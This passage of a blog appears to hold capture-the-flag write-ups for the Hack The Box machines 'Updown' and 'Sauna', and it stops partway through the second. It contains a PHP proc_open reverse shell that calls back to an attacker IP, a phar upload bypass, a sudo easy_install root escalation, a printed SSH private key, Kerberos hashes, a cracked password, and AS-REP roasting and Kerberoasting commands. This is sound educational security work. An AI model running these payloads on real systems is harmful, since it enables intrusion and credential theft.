this also failed. While researching PHP filters I stumbled upon the topic of PHP wrappers. In short, PHP wrappers allow PHP to read a bunch of different streams of data. So besides being used with http:// or https:// it can also understand zip://, phar:// and a bunch of more of them. As I wasn\u0026rsquo;t able to input basic php extensions I wanted to upload a zip file with my rev shell but it didn\u0026rsquo;t work. I guess partially because of the fact that php was also somewhere in the code mentioned to be black listed, and, also because they might be further filtering for PHP functions rendering most of the shell useless. I decided to create a zip file but change it\u0026rsquo;s extension to something random, hoping that filtering doesn\u0026rsquo;t check the magic bytes and run \u0026lt;?php phpinfo(); ?\u0026gt;. To access this file, I decided to try phar as it behaves in a lot of ways like zip data stream but it might\u0026rsquo;ve not been blocked and to my surprise, this combination worked. http://dev.siteisup.htb/?page=phar://uploads/4eba46216cd35f13b3cd75de77575283/info.az/info.\nIn phpinfo I can see a big list of disabled function which explains why my shells didn\u0026rsquo;t work.\npcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen Bypassing filters I could look through them manually and see if there are any that were not mentioned, but I much more prefer to use dfunc-bypasser. The original dfunc runs on python2 which is deprecated, but I luckily found a python3 fork. When I ran this script it didn\u0026rsquo;t want to connect to the site, this is likely because of the fact that we need a special header to access it. I made a copy of the tool and looked through it to see if I can add edit the header somewhere in it but I wasn\u0026rsquo;t able to figure it out. I just decided to cut my losses and examine the list myself. It would be a big waste of time if I started to edit a python script for it to not find any functions.\nI wanted to go one-by-one through the functions. Then I thought I could make some short python script/loop that would check phpinfo() output and mark those vulnerable functions and lastly I though \u0026ldquo;this functionality must be in the dfunc-bypasser itself, right?\u0026rdquo; Because of that I noticed two easy way to enumerate those functions.\nFirstly there is no need to edit the dfunc-bypasser, there is a simple -H flag which worked for me dfunc-bypasser.py --url 'http://dev.siteisup.htb/?page=phar://uploads/9d7e3ad5bd39603e06555b7ab37a490d/info.az/info' -H 'Special-Dev=only4dev'.\nSecondly, there is a --file flag which takes a local file of phpinfo so one could dump the data from the website and parse it that way.\nSetting up a shell Finally, I can see that proc_open is a function that is not being filtered.\nTo exploit this function I started to look for different web shells like this one or this one. I swapped through a bunch of them until I finally found one that worked and didn\u0026rsquo;t use any forbidden functions:\n\u0026lt;?php $descriptorspec = array( 0 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;r\u0026#34;), // stdin 1 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;), // stdout 2 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;) // stderr ); $process = proc_open(\u0026#39;/bin/bash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.15.189/1337 0\u0026gt;\u0026amp;1\u0026#34;\u0026#39;, $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } ?\u0026gt; I put it in \u0026ldquo;procopenshell.php\u0026rdquo; and zipped it using an arbitrary extension - zip proc.lol procopenshell.php. I started a listener to catch the shell - rlwrap -r nc -lnvp 1337 And soon after I uploaded the file, I access the shell with this URL http://dev.siteisup.htb/?page=phar://uploads/b47622cacd7fde0edbbdcea9c74b7e28/proc.lol/procopenshell\nWhat I found confusing is that I had to specify an extension for procopenshell.php even though the websites logic showed that it will append it itself. Without the extension, shell doesn\u0026rsquo;t execute. Maybe it\u0026rsquo;s because the file is in an archive? I guess it just checks the initial archive folder and doesn\u0026rsquo;t look inside - hard for me to tell.\nwww-data Anyway, with this we finally get a shell as a www-data user.\nwww-data@updown:/home/developer/dev$ ls -la ls -la total 32 drwxr-x--- 2 developer www-data 4096 Jun 22 2022 . drwxr-xr-x 6 developer developer 4096 Aug 30 2022 .. -rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup Looking around the machine, I see that there is a user.txt flag located in the developer home directory. I can\u0026rsquo;t access it, because I lack permissions to read it. In the home directory of that user there is a /dev folder which hosts two files - \u0026ldquo;siteisup\u0026rdquo; and \u0026ldquo;siteisup_text.py\u0026rdquo;.\nLooking at the files I can see that siteisup has a sid as root so this is likely a way to priv-esc.\nLooking at siteisup with the strings command I can see that it is related to siteisup_text.py.\nWelcome to \u0026#39;siteisup.htb\u0026#39; application /usr/bin/python /home/developer/dev/siteisup_test.py Next step is to read and understand the second script.\nimport requests url = input(\u0026#34;Enter URL here:\u0026#34;) page = requests.get(url) if page.status_code == 200: print \u0026#34;Website is up\u0026#34; else: print \u0026#34;Website is down\u0026#34; I missed this detail few first times I read the code, but apparently this is a Python2 code and it uses the input() function to get user input which luckily for me also automatically executes code. This function uses eval() in the backend meaning it behaves like eval in all other languages!\nFirst i tried a code injection with __import__('os').system('bash') into siteisup_test.py but it hangs the shell up.\nThen, I tried a code injection with __import__('os').system('bash') into siteisup which worked without any issues.\ndeveloper With that, I got a partial access as the developer account. The word partial is important - in reality - I only siteisup tool as the developer, other than that my permissions are still www-data level.\n-rw-r----- 1 root developer 33 Apr 12 10:06 user.txt cat user.txt cat: user.txt: Permission denied Luckily, quickly looking around the developer\u0026rsquo;s home directory I found their id_rsa private key. Which I copied, changed permissions and ran which game me full permissions as that account.\n-----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY----- Privilege Escalation I started my further enumeration with checking if I have any sudo access, turns out that I do.\ndeveloper@updown:~$ sudo -l Matching Defaults entries for developer on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User developer may run the following commands on localhost: (ALL) NOPASSWD: /usr/local/bin/easy_install I never heard of easy_install, but I googled it and it actually is in GTFOBins.\nI simply had to create a fake setup.py holding my bash payload inside, setup a listener on my attacker host, and run the script with sudo.\ndeveloper@updown:~$ echo \u0026#39;import os; os.system(\u0026#34;exec /bin/sh \u0026lt;/dev/tty \u0026gt;/dev/tty 2\u0026gt;/dev/tty\u0026#34;)\u0026#39; \u0026gt;setup.py developer@updown:~$ cat setup.py import os; os.system(\u0026#34;exec /bin/sh \u0026lt;/dev/tty \u0026gt;/dev/tty 2\u0026gt;/dev/tty\u0026#34;) developer@updown:~$ sudo easy_install . And boom, there is root.\nClosing Thoughts Updown is a really challenging machine very focused on niche web exploitation, solid code review and careful parameter manipulation to actually exploit the attack vectors.\nIt would be tough not to admit that I struggled at almost every point of this box. I learned a lot of new attack paths and I had to level up my game around code review, web attacks as well as injections and bypasses.\n","date":"12.04.2026","externalUrl":null,"permalink":"/posts/htb/updown/","section":"Posts","summary":"Updown is a really challenging machine very focused on niche web exploitation, solid code review and careful parameter manipulation to actually exploit the attack vectors.","title":"Updown","type":"posts"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/as-rep-roasting/","section":"Tags","summary":"","title":"As-Rep-Roasting","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/bloodhound/","section":"Tags","summary":"","title":"Bloodhound","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/dcsync/","section":"Tags","summary":"","title":"Dcsync","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/dig/","section":"Tags","summary":"","title":"Dig","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/evil-winrm/","section":"Tags","summary":"","title":"Evil-Winrm","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/getnpusers.py/","section":"Tags","summary":"","title":"Getnpusers.py","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/getuserspns.py/","section":"Tags","summary":"","title":"Getuserspns.py","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/hashcat/","section":"Tags","summary":"","title":"Hashcat","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/iis/","section":"Tags","summary":"","title":"Iis","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/kerberoasting/","section":"Tags","summary":"","title":"Kerberoasting","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/kerbrute/","section":"Tags","summary":"","title":"Kerbrute","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/ldapsearch/","section":"Tags","summary":"","title":"Ldapsearch","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/mimikatz/","section":"Tags","summary":"","title":"Mimikatz","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/netexec/","section":"Tags","summary":"","title":"Netexec","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/rid-bruteforce/","section":"Tags","summary":"","title":"Rid-Bruteforce","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/rusthound/","section":"Tags","summary":"","title":"Rusthound","type":"tags"},{"content":" Enumeration nmap As usual, I start with running a nmap scan with sudo nmap -sC -sV -Pn -O 10.129.95.180; sleep 5; sudo nmap -p- -Pn 10.129.95.180; sleep 5; sudo nmap -sU -Pn 10.129.95.180. nmap scan results Nmap scan report for 10.129.95.180 Host is up (0.029s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Egotistical Bank :: Home |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-08 23:27:02Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 Aggressive OS guesses: Windows Server 2019 (97%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-04-08T23:27:10 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: -1h00m01s OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.38 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 02:27 CEST Nmap scan report for 10.129.95.180 Host is up (0.029s latency). Not shown: 65515 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49676/tcp open unknown 49688/tcp open unknown 49696/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 104.50 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 02:29 CEST Nmap scan report for 10.129.95.180 Host is up (0.030s latency). Not shown: 996 open|filtered udp ports (no-response) PORT STATE SERVICE 53/udp open domain 88/udp open kerberos-sec 123/udp open ntp 389/udp open ldap Results show general Windows Active Directory open ports. For an initial enumeration the most interesting ports are DNS, HTTP and SMB. If I won\u0026rsquo;t find an attack vector there I would go and enumerate LDAP, RPC and later ADWS.\nAdditionally from the nmap scan I learn that the domain name is \u0026ldquo;EGOTISTICAL-BANK.LOCAL\u0026rdquo; which I added to my /etc/hosts file.\nI started with SMB anonymous access bit it didn\u0026rsquo;t work. I also don\u0026rsquo;t know the DC name so I will postpone my DNS enumeration for now.\nWebsite I enumerated the website. Besides the funny theme of it, I found three different forms - newsletter, comment section and a contact form. I tried to provide basic, expected data into them and they all errored out with a 405 page.\n405 - HTTP verb used to access this page is not allowed. The page you are looking for cannot be displayed because an invalid method (HTTP verb) was used to attempt access. This is a strange behavior. A http verbs like \u0026ldquo;POST\u0026rdquo;, \u0026ldquo;GET\u0026rdquo;, \u0026ldquo;PUT\u0026rdquo;, \u0026ldquo;DELETE\u0026rdquo; etc. Do test this behavior out I ran BurpSuite and checked which verbs worked. From my testing the POST request format as a whole is not working and when changed to GET the response code turns to 200.\nDue to the POST body turning into a GET parameter, I tried to inject the parameters with SSTI strings, XSS code and finally SQL injections manually but I didn\u0026rsquo;t create any unexpected behavior. I then saved BurpSuite requests to those 3 forms and forwarded them into sqlmap to further check for vulnerabilities there.\nIn the meantime I ran a directory and subdomain enumerations with ffuf. This ffuf -u http://EGOTISTICAL-BANK.LOCAL/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt directory enumeration command returned:\ncss [Status: 301, Size: 157, Words: 9, Lines: 2, Duration: 28ms] fonts [Status: 301, Size: 159, Words: 9, Lines: 2, Duration: 30ms] IMAGES [Status: 301, Size: 160, Words: 9, Lines: 2, Duration: 30ms] Fonts [Status: 301, Size: 159, Words: 9, Lines: 2, Duration: 27ms] CSS [Status: 301, Size: 157, Words: 9, Lines: 2, Duration: 31ms] So no interesting directories have been found at the first glance.\nffuf -u http://EGOTISTICAL-BANK.LOCAL/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H \u0026quot;Host: FUZZ.EGOTISTICAL-BANK.LOCAL\u0026quot; -fs 32797 Showed no new subdomains so the DC hostname is still unknown.\nRID bruteforcing I tried to enumerate other host users with a netexec rid-brute, but it didn\u0026rsquo;t work. Guest account is either disabled or was denied.\nDNS For the next step I ran the dig command to enumerate some basic information about the domain itself. In a SOA record I found what is most likely the DC name. EGOTISTICAL-BANK.LOCAL.\t3600\tIN\tSOA\tsauna.EGOTISTICAL-BANK.LOCAL. hostmaster.EGOTISTICAL-BANK.LOCAL. 50 900 600 86400 3600 Besides that, I didn\u0026rsquo;t find any other useful data there.\nLDAP I checked LDAP with ldapsearch and it worked with an anonymous access ldapsearch -x -H ldap://10.129.95.180/ -b \u0026quot;DC=EGOTISTICAL-BANK,DC=LOCAL\u0026quot;. This resulted in some interesting information:\nInfo: ms-DS-MachineAccountQuota: 10 msDS-Behavior-Version: 7 msDS-PerUserTrustQuota: 1 msDS-AllUsersTrustQuota: 1000 msDS-PerUserTrustTombstonesQuota: 10 # Hugo Smith, EGOTISTICAL-BANK.LOCAL dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL minPwdLength: 7 lockoutThreshold: 0 Key facts:\nEach user can create 10 machine account Passwords can have minimum of 7 characters There are no lockouts There is a user \u0026ldquo;Hugo Smith\u0026rdquo; on the box Foothold fsmith Looking at the website I found this user mentioned around other people. Seeing as I have basic information about the password policy and I know some users I could consider a bruteforce attack if I won\u0026rsquo;t find any other valid vector.\nInterestingly, on the website there is \u0026ldquo;Hugo Bear\u0026rdquo; and \u0026ldquo;Fergus Smith\u0026rdquo; but in the LDAP search I found \u0026ldquo;Hugo Smith\u0026rdquo;.\nI double-checked other options to pivot, but besides running more wordlists for directories, subdomains are performing an IIS tilde enumeration which would a considerable time to setup I could only bruteforce some usernames and later passwords.\nI already found a number of usernames on the website and with my LDAP enumeration. I don\u0026rsquo;t know the format they user in the company so I decided to use username-anarchy to generate a number of common formats with their full names. I tried to create a nice loop with for and while but I couldn\u0026rsquo;t make it run username-anarchy correctly for some reason. To save some time I just manually swapped the username data in the username-anarchy Sophie Driver \u0026gt;\u0026gt; users.txt command and create the username list that way.\nWith this list I ran kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc sauna.EGOTISTICAL-BANK.LOCAL users.txt and came with two valid users \u0026ldquo;hsmith@EGOTISTICAL-BANK.LOCAL\u0026rdquo; and \u0026ldquo;fsmith@EGOTISTICAL-BANK.LOCAL\u0026rdquo;.\nI took those usernames, created a smaller wordlists having variants with and without the domain attached and ran them against a relatively small wordlists. Then, I just ran netexec smb 10.129.95.180 -u users.small -p /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt.\nWhile this is going, when I used kerbrute I had an idea. I can check for kerberoast and as-rep roastable users. Nevermind, without any creds, I can only as-rep roast - let\u0026rsquo;s do it anyway. GetNPUsers.py -request -usersfile users.small -dc-host sauna.EGOTISTICAL-BANK.LOCAL EGOTISTICAL-BANK.LOCAL/ -no-pass\nWe get one hit really\nLoot: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:c53a1f5178113124e04b6272ff3b310b$e1e03544cd582d16c1a209f6d03eade305d1486987508688163a7e59956eabf6c5fa32f62531f72a4c0086d683e87fe7c112b6029171b747db50cc455a0b7deef4e0af2ec47dddd9fba2875e1ad2023eaa1c0a77fe06d65771e6171aa3650167b3360d9adb98d4e05fa1b78208c715b1bc14d9addab4079e68a3bddfa3173a5bba4f2865f69a746762bb2e42d5847a15ba7312cbd5d63457cf1178e6ec7295fce2895c088076ab2cfee7e47f6e100729a6010faa4ec70cadf185c17c76b56c72b748410da8b3b07e50ce934e309b2897a8c4364c2f4c0e7c05471f70fc9e309df3430315fd02343141e78b496813798e23be753b581de2681ed27b4897d68998 [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL@EGOTISTICAL-BANK.LOCAL:113e3f966c27ca16a99365459ace54ea$a20ebb88b9d118baf304c1a5f374bb80655e2e7cbae4ec8fc8ca5b5c99b320b7775219c33d71b3c9535aa86ce96915b972c6d042de65eddbc3692949b91c3413ab41ca8b4923a367ce68f904b3f4c1198d17c3c81b50bb3ec2486018650402c26d8024a37da117bc127e20f1724675b1da7223716fd75258cfa4c9a5ef28916e7d20644ae91110680532fffba712e0ffc40410747e7c3410c56ccbdb351ec2f05feb11f54de652b047afca7b47e770c744b46e8ec9d632e1acd58a5d97819615e6dbf0a05b7d502badde77179c89fcd5c48df80e64eef99b375333c37febe38f2120d4f59e5d50d23168e202fad03c85b6e3a72c28a940ab16557deeb87bd7d6 I scraped that data for the user fsmith into a separate file and run it through rockyou.txt hashcat -m 18200 fsmith.asrep /usr/share/wordlists/rockyou.txt. We got credentials! fsmith:Thestrokes23\nI checked different services that the user can access with netexec and found that they can winrm into the host and see some non-default SMB shares. I went into the host, and grabbed a user flag from there. I did some manual enumeration and didn\u0026rsquo;t find anything promising. In the /Users file we can see once service account which has an unexpected error message when we try to access their files Cannot find path 'C:\\Users\\svc_loadnmgr' because it does not exist.\nLooking at those SMB shares, one of the custom ones is most interesting as I have write permissions on it, \u0026ldquo;RICOH Aficio SP 8300DN PCL 6\u0026rdquo; with a remark \u0026ldquo;We can\u0026rsquo;t print money\u0026rdquo; - let\u0026rsquo;s check it out. smbclient -U fsmith \u0026quot;//10.129.95.180/RICOH Aficio SP 8300DN PCL 6\u0026quot;. Sadly I can\u0026rsquo;t view the contents of this share. Looking at the second one \u0026ldquo;print$\u0026rdquo; we can see that it\u0026rsquo;s likely connected to a printer or to its configuration or internal file structure.\nBloodhound It all seems to be hinting for like a printerspooler priv-esc vector. Before I decide on my path, let\u0026rsquo;s check bloodhound first. bloodhound-python -u fsmith -p 'Thestrokes23' -d EGOTISTICAL-BANK.LOCAL -dc sauna.EGOTISTICAL-BANK.LOCAL -ns 10.129.95.180 -c all; rusthound-ce -d EGOTISTICAL-BANK.LOCAL -u fsmith -p 'Thestrokes23' --zip -c All\nBloodhound shows that:\n\u0026ldquo;SAUNA.EGOTISTICAL-BANK.LOCAL\u0026rdquo; computer object has weak supported encryption types \u0026ldquo;HSMITH@EGOTISTICAL-BANK.LOCAL\u0026rdquo; is kerberoastable \u0026ldquo;SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL\u0026rdquo; has GetChanges on \u0026ldquo;EGOTISTICAL-BANK.LOCAL\u0026rdquo; itself. Looking at the RICOH Aficio SP 8300DN PCL 6 printer OSINT I see it was related with some vulnerabilities in the past. This is likely something I could use. My current plan of attack is to kerberoast HSmith. Then I will see if he has any additional accesses (like that SMB share), and then look for a printer exploit. I suspect that a successful exploit will drop me into a svc_loanmgr account which I hope has DCSync rights.\nPrivilege Escalation hsmith I start with that kerberoast. First sudo ntpdate 10.129.95.180 to fix the skew, and then GetUserSPNs.py -request-user hsmith -dc-ip 10.129.95.180 EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23. Below is the hash.\n$krb5tgs$23$*HSmith$EGOTISTICAL-BANK.LOCAL$EGOTISTICAL-BANK.LOCAL/HSmith*$87d4af1eafee29c894d27ab456393742$bdfdc805b821d7aaf3a5aedfae4002a103da6786c62849393f39742c2fd31fa53569e62c5fb1b19d1f9e49168ce774d807127ec4ff8d92937e4a81b7e66ea688c0be7a6c15b23c9fe00e6d1a020581f46d8496ea3526704daf5920b793dfd82304371d6d3c545fa62f6177a32ad861f0a54e4254f06855e3052b30f619a6677c6b2c94687dc7642ad071372c098f94fcada4184fa681d7e09b33c515743518f602ace271d6d97d8dcd79384940272e0d2a8352b4fe95d492e183e47b060e9b3548da2a3912955f3828a37fa2bfbc5d210df19a5e3ccaba94e5f6de442e1f1ae488924b2c0d109ef2a64f7c713ef0de1be16ec3f7310b0a4c477e84b5ce239e476fb8cdafd5023aa0918db59751473c71759c6ab69db9500848bb6506a47c223e72eb4b6f02e1e89f265d0a7e7ca08c28308fd5a8a837ea03a315477b57a1ffa4a04baf5e8f0f75fc4f43e571685fa1f983b03f44de78eafbd2d9f56c3643b55ee6c9d928a935d5cafd4f94ce47c38de6259973a3843f2e2145a159d180191186b157e340f239d9356a6c39d00f5d1e75b3ef77796a775f8ab0a83d2a19da68cd3ef4b977cf23adec084d357e7081b18c66e7979fe1a2074e52a7d416cde0cf4abce3d1f2137278eb1ebc2eb024d8f971fa870adf29e1bb0d07f1e7350d5196767063b4ab7358c0087a7dfc94318a947f23aa81644bfbd0bc067ad88bfd5ff64603a56705b79b8af422ae66f802fa519e07cf3e6fa6c2562a4cff0a76e4f88d1a0ae9503c64056a90b5b5b95037168ee01b1a15152bb9dceb43ac01fa713c4afbdfa35f28d188bda987e4d564dcf68852b0b1fdee4f3aefd3d3d724a11f818b337959ac353d5637236544e7071dcf31dd142f2550b0e3fc5f88e84e097f8844ca9cf0639ebf32874145b1ee79bb13ad9d4027c7650520781652945a811d5f6d35d44fa76937de1f9b2e08d1558615339c9030fd1b321860ca715a091e929f4048bd65fb113745c7d650ee090c5014c3334d3637c729cc2139f418b91270810bdcd2357572af0ab2331afcc4449016f01ecffffff1d8abcdcd77c8c2ef22383db03657aed641d544be2da47b2c5aade8033806821dc89212fbf3e7dc177637403a1f1c4c05878b238ae429f970f127a100d8fc72475be187bed11dbf6aa6e2c6222f86f036532c773c05003d2593fc1f6949c37812ad0b3f9f1034e087b2dc735be9e0934a88c082517fbc85591a61290ff1df4d164e92a8f049919086da586ee9a04cab70538cf2f302de60cbb00a0cba47ec0b88bc0faa267c728479035b29d0ca4099fbea1bb7a93246618875576a171cacbf34f0a117eac91334aeee1009e4fcb6092e20a08fdde8c270828cf09e8f695620adb8bca857b39cc6d5e7b4f7f7157ee3058d I put it into a separate file and run through rockyou.txt with hashcat -m 13100 hsmith.tgs /usr/share/wordlists/rockyou.txt. I cracked the passwords and it\u0026rsquo;s \u0026ldquo;Thestrokes23\u0026rdquo; the same one as for fsmith. I enumerated this account a bit and it seems to have the same set of rights and permissions as fsmith but lacking in some aspects - lack of winrm for example.\nI feel like this is a unintended to follow this new account. I will read up on that printer and think of a plan how to exploit it with my correct credentials. If nothing will come to my mind I will consider looking if I can somehow enable the svc_loanmgr account and maybe run WinPEAS as well.\nsvc_loanmgr Promising article. There seems to be also a Metasploit module for it, but I\u0026rsquo;d rather do it manually. I studied this article and tried to edit attached scripts but I didn\u0026rsquo;t feel confident they would work. 